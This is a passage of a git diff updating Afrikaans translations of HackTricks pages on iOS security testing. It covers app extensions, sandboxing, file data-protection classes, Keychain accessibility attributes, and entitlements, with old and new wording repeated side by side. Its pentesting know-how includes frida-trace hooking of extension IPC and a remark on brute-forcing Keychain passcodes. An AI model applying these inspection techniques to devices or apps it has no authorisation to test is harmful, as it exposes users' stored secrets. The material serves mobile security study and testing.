- Die **Vandag widget** is uniek in die sin dat dit sy toepassing kan vra om via 'n spesifieke metode te open.
|
||||
- Gedeelde data-toegang is toegelaat binne 'n private houer, maar direkte toegang is beperk.
|
||||
- Sekere API's, insluitend HealthKit, is verbode vir app-uitbreidings, wat ook nie langlopende take kan begin, toegang tot die kamera of mikrofoon kan verkry nie, behalwe vir iMessage-uitbreidings.
|
||||
|
||||
### Statische Analise
|
||||
### Statiese Analise
|
||||
|
||||
#### **Identifisering van App-uitbreidings**
|
||||
|
||||
Om app-uitbreidings in bronkode te vind, soek na `NSExtensionPointIdentifier` in Xcode of ondersoek die app-bundel vir `.appex`-lêers wat uitbreidings aandui. Sonder bronkode, gebruik grep of SSH om hierdie identifiseerders binne die app-bundel op te spoor.
|
||||
Om app-uitbreidings in bronkode te vind, soek vir `NSExtensionPointIdentifier` in Xcode of ondersoek die app-bundel vir `.appex`-lêers wat uitbreidings aandui. Sonder bronkode, gebruik grep of SSH om hierdie identifiseerders binne die app-bundel te vind.
|
||||
|
||||
#### **Ondersteunde Data Tipes**
|
||||
#### **Gesteunde Datatipe**
|
||||
|
||||
Kyk na die `Info.plist`-lêer van 'n uitbreiding vir `NSExtensionActivationRule` om ondersteunde data tipes te identifiseer. Hierdie opset verseker dat slegs verenigbare data tipes die uitbreiding in gasheerprogramme aktiveer.
|
||||
Kyk na die `Info.plist`-lêer van 'n uitbreiding vir `NSExtensionActivationRule` om gesteunde datatipe te identifiseer. Hierdie opstelling verseker dat slegs kompatible datatipe die uitbreiding in gasheer-toepassings aktiveer.
|
||||
|
||||
#### **Data Deling**
|
||||
#### **Data Deel**
|
||||
|
||||
Data deling tussen 'n program en sy uitbreiding vereis 'n gedeelde houer wat opgestel word deur middel van "App Groups" en toegang verkry deur middel van `NSUserDefaults`. Hierdie gedeelde ruimte is noodsaaklik vir agtergrondoorplasings wat deur uitbreidings geïnisieer word.
|
||||
Data deel tussen 'n toepassing en sy uitbreiding vereis 'n gedeelde houer, opgestel via "App Groups" en toegang verkry deur `NSUserDefaults`. Hierdie gedeelde ruimte is noodsaaklik vir agtergrond oordragte wat deur uitbreidings geïnisieer word.
|
||||
|
||||
#### **Beperking van Uitbreidings**
|
||||
|
||||
Apps kan sekere uitbreidingstipes beperk, veral aangepaste sleutelborde, om te verseker dat die hantering van sensitiewe data ooreenstem met sekuriteitsprotokolle.
|
||||
Toepassings kan sekere tipe uitbreidings beperk, veral pasgemaakte sleutelborde, om te verseker dat sensitiewe data hanteer word in ooreenstemming met sekuriteitsprotokolle.
|
||||
|
||||
### Dinamiese Analise
|
||||
|
||||
Dinamiese analise behels:
|
||||
|
||||
- **Ondersoek van Gedeelde Items**: Koppel aan `NSExtensionContext - inputItems` om gedeelde data tipes en oorsprong te sien.
|
||||
- **Identifisering van Uitbreidings**: Ontdek watter uitbreidings jou data verwerk deur interne meganismes, soos `NSXPCConnection`, waar te neem.
|
||||
- **Inspekteer Gedeelde Items**: Hook in `NSExtensionContext - inputItems` om gedeelde datatipe en oorspronge te sien.
|
||||
- **Identifisering van Uitbreidings**: Ontdek watter uitbreidings jou data verwerk deur interne meganismes, soos `NSXPCConnection`, te observeer.
|
||||
|
||||
Hulpmiddels soos `frida-trace` kan help om die onderliggende prosesse te verstaan, veral vir diegene wat belangstel in die tegniese besonderhede van interproseskommunikasie.
|
||||
Gereedskap soos `frida-trace` kan help om die onderliggende prosesse te verstaan, veral vir diegene wat belangstel in die tegniese besonderhede van inter-proses kommunikasie.
|
||||
|
||||
## Verwysings
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Privilege Separation en Sandboks
|
||||
# Privilege Separation and Sandbox
|
||||
|
||||
In iOS bestaan daar 'n onderskeid in voorreg tussen die gebruikerstoeganklike programme en die kernprosesse van die stelsel. Programme loop onder die **`mobile`**-gebruikersidentiteit, terwyl die kritieke stelselprosesse as **`root`** werk. Hierdie skeiding word versterk deur 'n sandboks-meganisme wat streng beperkings plaas op die aksies wat programme kan onderneem. Byvoorbeeld, selfs al deel programme dieselfde gebruikersidentiteit, word hulle verbied om toegang tot of wysiging van mekaar se data te verkry.
|
||||
In iOS bestaan daar 'n onderskeid in voorregte tussen die gebruiker-toeganklike toepassings en die stelsels se kernprosesse. Toepassings loop onder die **`mobile`** gebruikersidentiteit, terwyl die belangrike stelsels prosesse as **`root`** werk. Hierdie skeiding word versterk deur 'n sandbox-meganisme, wat streng beperkings op wat aksies toepassings kan onderneem, afdwing. Byvoorbeeld, selfs al deel toepassings dieselfde gebruikersidentiteit, is hulle verbied om toegang tot of verandering aan mekaar se data te verkry.
|
||||
|
||||
Programme word geïnstalleer in 'n spesifieke gids (`private/var/mobile/Applications/{willekeurige ID}`) en het beperkte leestoegang tot sekere stelselareas en -funksies, soos SMS'e en telefoonoproepe. Toegang tot beskermde areas veroorsaak 'n pop-upversoek vir gebruikerstoestemming.
|
||||
Toepassings word in 'n spesifieke gids geïnstalleer (`private/var/mobile/Applications/{random ID}`) en het beperkte lees toegang tot sekere stelsels areas en funksies, soos SMS en telefoonoproepe. Toegang tot beskermde areas aktiveer 'n pop-up versoek om gebruikers toestemming.
|
||||
|
||||
# Data Beskerming
|
||||
# Data Protection
|
||||
|
||||
iOS bied ontwikkelaars die **Data Protection APIs** aan, gebou op die Secure Enclave Processor (SEP) - 'n toegewyde koprotsessor vir kriptografiese operasies en sleutelbestuur. Die SEP verseker data-beskermingsintegriteit deur middel van 'n unieke toestelspesifieke sleutel, die toestel UID, wat daarin ingebed is.
|
||||
iOS bied ontwikkelaars die **Data Protection APIs**, gebou op die Secure Enclave Processor (SEP) — 'n toegewyde koprosessor vir kriptografiese operasies en sleutelbestuur. Die SEP verseker data beskerming integriteit deur 'n unieke toestel-spesifieke sleutel, die toestel UID, wat daarin ingebed is.
|
||||
|
||||
By die skep van 'n lêer word 'n unieke 256-bit AES-kripteringssleutel gegenereer wat die inhoud van die lêer kripteer. Hierdie kripteringssleutel, tesame met 'n klas-ID, word dan gekripteer met behulp van 'n klasleutel en binne die lêer se metadata gestoor. Die ontkriptering van 'n lêer behels die gebruik van die stelsel se sleutel om toegang tot die metadata te verkry, die klasleutel met die klas-ID te herwin, en dan die unieke kripteringssleutel van die lêer te ontkripteer.
|
||||
By die skep van 'n lêer, word 'n unieke 256-bit AES enkripsiesleutel gegenereer, wat die lêer se inhoud enkripteer. Hierdie enkripsiesleutel, saam met 'n klas ID, word dan geënkripteer met 'n klas sleutel en in die lêer se metadata gestoor. Om 'n lêer te dekripteer, behels dit die gebruik van die stelselsleutel om toegang tot die metadata te verkry, die klas sleutel met die klas ID te herwin, en dan die lêer se unieke enkripsiesleutel te dekripteer.
|
||||
|
||||
iOS definieer **vier beskermingsklasse** vir data-sekuriteit wat bepaal wanneer en hoe data toeganklik is:
|
||||
iOS definieer **vier beskermingsklasse** vir datasekuriteit, wat bepaal wanneer en hoe data toegang kan verkry:
|
||||
|
||||
- **Volledige Beskerming (NSFileProtectionComplete)**: Data is ontoeganklik totdat die toestel ontgrendel word met die gebruiker se wagwoord.
|
||||
- **Beskerm, tensy Oop (NSFileProtectionCompleteUnlessOpen)**: Maak lêertoegang moontlik selfs nadat die toestel gesluit is, op voorwaarde dat die lêer geopen is toe die toestel ontgrendel was.
|
||||
- **Beskerm tot Eerste Gebruikersverifikasie (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Data is toeganklik na die eerste gebruikersontsluiting na opstart, en bly toeganklik selfs as die toestel weer gesluit word.
|
||||
- **Geen Beskerming (NSFileProtectionNone)**: Data word slegs beskerm deur die toestel UID, wat vinnige verwydering van data op afstand fasiliteer.
|
||||
- **Volledige Beskerming (NSFileProtectionComplete)**: Data is ontoeganklik totdat die toestel ontgrendel word met die gebruiker se toegangscode.
|
||||
- **Beskermd Tensy Geopen (NSFileProtectionCompleteUnlessOpen)**: Laat lêer toegang toe selfs nadat die toestel vergrendel is, mits die lêer geopen was toe die toestel ontgrendel is.
|
||||
- **Beskermd Tot Eerste Gebruiker Verifikasie (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Data is toeganklik na die eerste gebruiker ontgrendel na opstart, en bly toeganklik selfs al is die toestel weer vergrendel.
|
||||
- **Geen Beskerming (NSFileProtectionNone)**: Data is slegs beskerm deur die toestel UID, wat vinnige afstandsdata-wissing fasiliteer.
|
||||
|
||||
Die kriptering van alle klasse, behalwe `NSFileProtectionNone`, behels 'n sleutel wat afgelei word van sowel die toestel UID as die gebruiker se wagwoord, om te verseker dat ontkriptering slegs moontlik is op die toestel met die korrekte wagwoord. Vanaf iOS 7 is die verstek beskermingsklas "Beskerm tot Eerste Gebruikersverifikasie".
|
||||
Die enkripsie van alle klasse, behalwe vir `NSFileProtectionNone`, behels 'n sleutel wat afgelei is van beide die toestel UID en die gebruiker se toegangscode, wat verseker dat dekripsie slegs op die toestel met die korrekte toegangscode moontlik is. Vanaf iOS 7, is die standaard beskermingsklas "Beskermd Tot Eerste Gebruiker Verifikasie".
|
||||
|
||||
Ontwikkelaars kan [**FileDP**](https://github.com/abjurato/FileDp-Source) gebruik, 'n instrument om die data-beskermingsklas van lêers op 'n iPhone te ondersoek.
|
||||
Ontwikkelaars kan [**FileDP**](https://github.com/abjurato/FileDp-Source) gebruik, 'n hulpmiddel om die dataprotectie klas van lêers op 'n iPhone te inspekteer.
|
||||
```python
|
||||
# Example code to use FileDP for checking file protection class
|
||||
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
|
||||
|
@ -42,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
|
|||
cd FileDp-Source
|
||||
python filedp.py /path/to/check
|
||||
```
|
||||
## **Die Sleutelbos**
|
||||
## **Die Sleutelhouer**
|
||||
|
||||
In iOS dien 'n **Sleutelbos** as 'n veilige **versleutelde houer** vir die stoor van **sensitiewe inligting**, wat slegs toeganklik is deur die toepassing wat dit gestoor het of deur diegene wat uitdruklik gemagtig is. Hierdie versleuteling word versterk deur 'n unieke **wagwoord wat deur iOS gegenereer word**, wat self versleutel is met **AES**. Hierdie versleutelingsproses maak gebruik van 'n **PBKDF2-funksie**, wat die gebruiker se wagwoord kombineer met 'n sout wat afgelei is van die toestel se **UID**, 'n komponent wat slegs die **veilige enclave chipset** kan bereik. Gevolglik bly die inhoud van die Sleutelbos ontoeganklik op enige toestel anders as die een waar dit oorspronklik versleutel is, selfs as die gebruiker se wagwoord bekend is.
|
||||
In iOS dien 'n **Sleutelhouer** as 'n veilige **geënkripteerde houer** vir die stoor van **sensitiewe inligting**, wat slegs toeganklik is deur die toepassing wat dit gestoor het of dié wat eksplisiet gemagtig is. Hierdie enkripsie word versterk deur 'n unieke **wagwoord wat deur iOS gegenereer is**, wat self geënkripteer is met **AES**. Hierdie enkripsieproses maak gebruik van 'n **PBKDF2-funksie**, wat die gebruiker se toegangscode kombineer met 'n sout wat afkomstig is van die toestel se **UID**, 'n komponent waartoe slegs die **veilige enclave-skyfie** toegang kan hê. Gevolglik, selfs al is die gebruiker se toegangscode bekend, bly die Sleutelhouer-inhoud ontoeganklik op enige toestel anders as die een waar dit oorspronklik geënkripteer is.
|
||||
|
||||
**Bestuur en toegang** tot die Sleutelbosdata word hanteer deur die **`securityd` daemon**, gebaseer op spesifieke toepassingsbevoegdhede soos `Keychain-access-groups` en `application-identifier`.
|
||||
**Bestuur en toegang** tot die Sleutelhouer-data word hanteer deur die **`securityd` daemon**, gebaseer op spesifieke app-regte soos `Keychain-access-groups` en `application-identifier`.
|
||||
|
||||
### **Sleutelbos API-operasies**
|
||||
### **Sleutelhouer API Operasies**
|
||||
|
||||
Die Sleutelbos API, in detail beskryf in [Apple se Sleutelbosdiensdokumentasie](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), bied essensiële funksies vir die bestuur van veilige stoor:
|
||||
Die Sleutelhouer API, gedetailleerd by [Apple se Sleutelhouer Dienste dokumentasie](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), bied noodsaaklike funksies vir veilige stoorbestuur:
|
||||
|
||||
- **`SecItemAdd`**: Voeg 'n nuwe item by die Sleutelbos.
|
||||
- **`SecItemUpdate`**: Werk 'n bestaande item in die Sleutelbos by.
|
||||
- **`SecItemCopyMatching`**: Haal 'n item uit die Sleutelbos op.
|
||||
- **`SecItemDelete`**: Verwyder 'n item uit die Sleutelbos.
|
||||
- **`SecItemAdd`**: Voeg 'n nuwe item by die Sleutelhouer.
|
||||
- **`SecItemUpdate`**: Werk 'n bestaande item in die Sleutelhouer op.
|
||||
- **`SecItemCopyMatching`**: Verkry 'n item uit die Sleutelhouer.
|
||||
- **`SecItemDelete`**: Verwyder 'n item uit die Sleutelhouer.
|
||||
|
||||
Die kragtige krag van die Sleutelbos wagwoord behels óf die aanval op die versleutelde sleutel self of die poging om die wagwoord op die toestel self te raai, wat aansienlik bemoeilik word deur die veilige enclave se afdwinging van 'n vertraging tussen mislukte pogings.
|
||||
Brute-forcing van die Sleutelhouer wagwoord behels of die geënkripteerde sleutel direk aan te val of te probeer om die toegangscode op die toestel self te raai, wat aansienlik belemmer word deur die veilige enclave se afdwinging van 'n vertraging tussen mislukte pogings.
|
||||
|
||||
### **Konfigurering van Sleutelbositemdata-beskerming**
|
||||
### **Konfigurasie van Sleutelhouer Item Data Beskerming**
|
||||
|
||||
Data-beskermingsvlakke vir Sleutelbositems word ingestel deur die `kSecAttrAccessible` eienskap tydens die skep of opdateer van 'n item. Hierdie vlakke, [soos deur Apple gespesifiseer](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bepaal wanneer en hoe Sleutelbositems toeganklik is:
|
||||
Databeskermingsvlakke vir Sleutelhouer-items word gestel met die `kSecAttrAccessible` attribuut tydens itemcreasie of -opdatering. Hierdie vlakke, [soos gespesifiseer deur Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), bepaal wanneer en hoe Sleutelhouer-items toeganklik is:
|
||||
|
||||
- **`kSecAttrAccessibleAlways`**: Altyd toeganklik, ongeag die toestel se sluitstatus.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Altyd toeganklik, maar nie ingesluit in rugsteun nie.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Toeganklik na die eerste ontgrendeling na herlaai.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Dieselfde as bogenoemde, maar nie oordraagbaar na nuwe toestelle nie.
|
||||
- **`kSecAttrAccessibleAlways`**: Te alle tye toeganklik, ongeag toestel se vergrendelstatus.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Altijd toeganklik, maar nie ingesluit in rugsteun nie.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`**: Toeganklik na die eerste ontgrendeling na herstart.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Dieselfde as hierbo, maar nie oordraagbaar na nuwe toestelle nie.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`**: Slegs toeganklik wanneer die toestel ontgrendel is.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Toeganklik wanneer ontgrendel, nie ingesluit in rugsteun nie.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Vereis toestel wagwoord, nie ingesluit in rugsteun nie.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Vereis toestel toegangscode, nie ingesluit in rugsteun nie.
|
||||
|
||||
**`AccessControlFlags`** verfyn verdere toegangsmetodes, wat biometriese verifikasie of wagwoordgebruik moontlik maak.
|
||||
**`AccessControlFlags`** verfyn verder toegangmetodes, wat biometriese verifikasie of toegangscode gebruik moontlik maak.
|
||||
|
||||
### **Waarskuwing vir Gehackte Toestelle**
|
||||
### **Waarskuwing vir Jailbroken Toestelle**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Op **gehackte toestelle** is die beskerming van die Sleutelbos gekompromitteer, wat 'n aansienlike veiligheidsrisiko inhou.
|
||||
Op **jailbroken toestelle** is die beskerming van die Sleutelhouer gecompromitteer, wat 'n beduidende sekuriteitsrisiko inhou.
|
||||
{% endhint %}
|
||||
|
||||
### **Volharding van Sleutelbosdata**
|
||||
### **Volharding van Sleutelhouer Data**
|
||||
|
||||
In teenstelling met toepassingsspesifieke data wat uitgevee word wanneer die toepassing gedeïnstalleer word, **volhard Sleutelbosdata** op die toestel. Hierdie kenmerk kan nuwe eienaars van 'n tweedehandse toestel in staat stel om die vorige eienaar se toepassingsdata toeganklik te maak deur eenvoudigweg die toepassings te herinstalleer. Ontwikkelaars word aangeraai om proaktief Sleutelbosdata uit te wis by die installering van die toepassing of tydens afmelding om hierdie risiko te verminder. Hier is 'n voorbeeld van Swift-kode wat demonstreer hoe om Sleutelbosdata uit te wis by die eerste aanvang van die toepassing:
|
||||
Anders as app-spesifieke data wat verwyder word wanneer die app verwyder word, **volhard Sleutelhouer data** op die toestel. Hierdie eienskap kan nuwe eienaars van 'n tweedehandse toestel in staat stel om toegang te verkry tot die vorige eienaar se toepassingsdata bloot deur die apps weer te installeer. Ontwikkelaars word aangeraai om proaktief Sleutelhouer data te skoon te maak tydens app-installasie of tydens afmelding om hierdie risiko te verminder. Hier is 'n Swift-kodevoorbeeld wat demonstreer hoe om Sleutelhouer data skoon te maak tydens die eerste app-lancering:
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
|
@ -93,47 +94,47 @@ userDefaults.set(true, forKey: "hasRunBefore")
|
|||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
# **App-vermoëns**
|
||||
# **App Vermoëns**
|
||||
|
||||
In die wêreld van app-ontwikkeling speel **sandboxing** 'n belangrike rol in die verbetering van sekuriteit. Hierdie proses verseker dat elke app binne sy eie unieke tuisgids werk, en voorkom dus dat dit toegang tot stelsel lêers of data van ander apps verkry. Die afdwinging van hierdie beperkings word gedoen deur middel van sandbox-beleide, wat deel vorm van die **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
In die wêreld van app-ontwikkeling speel **sandboxing** 'n belangrike rol in die verbetering van sekuriteit. Hierdie proses verseker dat elke app binne sy eie unieke huisgids werk, wat dit verhoed om toegang te verkry tot stelselfeite of data wat aan ander apps behoort. Die afdwinging van hierdie beperkings word uitgevoer deur middel van sandbox-beleide, wat deel uitmaak van die **Trusted BSD (MAC) Verpligte Toegang Beheer Raamwerk**.
|
||||
|
||||
Ontwikkelaars het die vermoë om sekere **vermoëns of toestemmings** vir hul apps te konfigureer, soos **Data Protection** of **Keychain Sharing**. Hierdie toestemmings word onmiddellik toegepas nadat die app geïnstalleer is. Nietemin, om toegang tot sekere beskermde hulpbronne te verkry, moet die app uitdruklike toestemming van die gebruiker kry tydens die eerste poging. Dit word bereik deur die gebruik van _doelstrengs_ of _gebruiksbeskrywingsstrengs_, wat aan gebruikers in 'n toestemmingsversoekwaarskuwing voorgelê word.
|
||||
Ontwikkelaars het die vermoë om sekere **vermoëns of toestemmings** vir hul apps te konfigureer, soos **Data Beskerming** of **Keychain Deling**. Hierdie toestemmings word onmiddellik toegepas nadat die app geïnstalleer is. Nietemin, om toegang te verkry tot sekere beskermde hulpbronne, moet die app eksplisiete toestemming van die gebruiker verkry tydens die eerste poging. Dit word bereik deur die gebruik van _doelstrings_ of _gebruik beskrywing strings_, wat aan gebruikers in 'n toestemmingsversoek waarskuwing voorgelê word.
|
||||
|
||||
Vir diegene wat toegang tot die bronkode het, kan verifikasie van toestemmings wat in die `Info.plist`-lêer ingesluit is, gedoen word deur:
|
||||
Vir diegene met toegang tot die bronkode, kan die verifikasie van toestemmings ingesluit in die `Info.plist`-lêer gedoen word deur:
|
||||
|
||||
1. Die projek in Xcode oop te maak.
|
||||
2. Die `Info.plist`-lêer op te spoor en oop te maak.
|
||||
3. Soek na sleutels met die voorvoegsel `"Privacy -"`, met die opsie om rou sleutels/waardes vir duidelikheid te vertoon.
|
||||
1. Die projek in Xcode te open.
|
||||
2. Die `Info.plist`-lêer te vind en te open.
|
||||
3. Te soek na sleutels wat met `"Privacy -"` begin, met die opsie om rou sleutels/waardes te sien vir duidelikheid.
|
||||
|
||||
Wanneer 'n IPA-lêer hanteer word, kan die volgende stappe gevolg word:
|
||||
Wanneer daar met 'n IPA-lêer gewerk word, kan die volgende stappe gevolg word:
|
||||
|
||||
1. Die IPA-lêer uitpak.
|
||||
2. Die `Info.plist`-lêer binne `Payload/<appnaam>.app/` opspoor.
|
||||
3. Die lêer na XML-formaat omskakel indien nodig, vir makliker inspeksie.
|
||||
1. Unzip die IPA.
|
||||
2. Vind die `Info.plist`-lêer binne `Payload/<appname>.app/`.
|
||||
3. Converteer die lêer na XML-formaat indien nodig, vir makliker inspeksie.
|
||||
|
||||
Byvoorbeeld, die doelstrengs in die `Info.plist`-lêer kan so lyk:
|
||||
Byvoorbeeld, die doelstrings in die `Info.plist`-lêer mag soos volg lyk:
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>NSLocationWhenInUseUsageDescription</key>
|
||||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
## Toestelvermoëns
|
||||
Die `Info.plist` lêer van 'n app spesifiseer **toestelvermoëns** wat help om die App Store te gebruik om apps te filter vir toestelverenigbaarheid. Hierdie vermoëns word gedefinieer onder die **`UIRequiredDeviceCapabilities`** sleutel. Byvoorbeeld:
|
||||
## Device Capabilities
|
||||
Die `Info.plist`-lêer van 'n app spesifiseer **toestel vermoëns** wat die App Store help om apps te filtreer vir toestelkompatibiliteit. Hierdie word gedefinieer onder die **`UIRequiredDeviceCapabilities`** sleutel. Byvoorbeeld:
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
Hierdie voorbeeld dui daarop dat die app versoenbaar is met die armv7 instruksiestel. Ontwikkelaars kan ook funksies soos nfc spesifiseer om te verseker dat hul app slegs beskikbaar is vir toestelle wat NFC ondersteun.
|
||||
This example indicates that the app is compatible with the armv7 instruction set. Developers may also specify capabilities like nfc to ensure their app is only available to devices supporting NFC.
|
||||
|
||||
## Toekennings
|
||||
## Entitlements
|
||||
|
||||
**Toekennings** is 'n ander kritieke aspek van iOS-app-ontwikkeling, wat dien as sleutel-waardepare wat apps toestemming gee om sekere handelinge uit te voer buite die uitvoeringstyd kontroles. Byvoorbeeld, om **Data Protection** in 'n app te aktiveer, moet 'n spesifieke toekenning by die Xcode-projek gevoeg word, wat dan weerspieël word in die app se toekenningslêer of die ingebedde mobiele voorsieningslêer vir IPAs.
|
||||
**Entitlements** is 'n ander kritieke aspek van iOS-app ontwikkeling, wat dien as sleutel-waarde pare wat apps toestemming gee om sekere operasies uit te voer wat buite runtime kontroles is. Byvoorbeeld, om **Data Protection** in 'n app in te skakel, behels dit die toevoeging van 'n spesifieke entitlement in die Xcode-projek, wat dan in die app se entitlement-lêer of die ingebedde mobiele voorsieningslêer vir IPAs weerspieël word.
|
||||
|
||||
|
||||
# Verwysings
|
||||
# References
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||||
* [https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/OWASP/owasp-mastg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/)
|
||||
|
@ -141,16 +142,17 @@ Hierdie voorbeeld dui daarop dat die app versoenbaar is met die armv7 instruksie
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
